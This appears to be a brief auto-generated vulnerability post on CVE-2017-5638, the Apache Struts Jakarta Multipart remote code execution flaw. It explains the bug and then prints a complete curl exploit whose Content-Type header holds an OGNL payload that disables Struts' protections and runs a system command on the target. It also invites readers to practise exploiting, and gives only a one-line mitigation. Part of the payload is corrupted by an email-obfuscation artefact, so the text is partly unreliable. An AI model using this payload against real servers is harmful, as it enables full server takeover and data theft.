Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability resides in the Jakarta Multipart parser of Apache Struts. An attacker exploits the flaw by sending a malicious `Content-Type` HTTP header in a file upload request. The parser incorrectly processes this header, allowing the insertion of Object-Graph Navigation Language (OGNL) expressions. These expressions are evaluated by the Struts framework without proper sanitization. This evaluation occurs before any file data is processed, meaning the attack is independent of the upload’s success. Consequently, an attacker can achieve remote code execution with the same privileges as the Struts application server by crafting a malicious Content-Type header containing an OGNL expression that triggers arbitrary command execution on the underlying system.
DailyCVE Form:
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability: Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: 2017-03-10
What Undercode Say:
curl -H "Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='id').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}" http://target-host.com/struts2-blank/example/Upload.action
How Exploit:
Malicious HTTP Request with OGNL payload in Content-Type header.
Protection from this CVE:
Upgrade Struts, Input Validation, WAF Filtering.
Impact:
Full Server Compromise, Data Theft, System Takeover.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
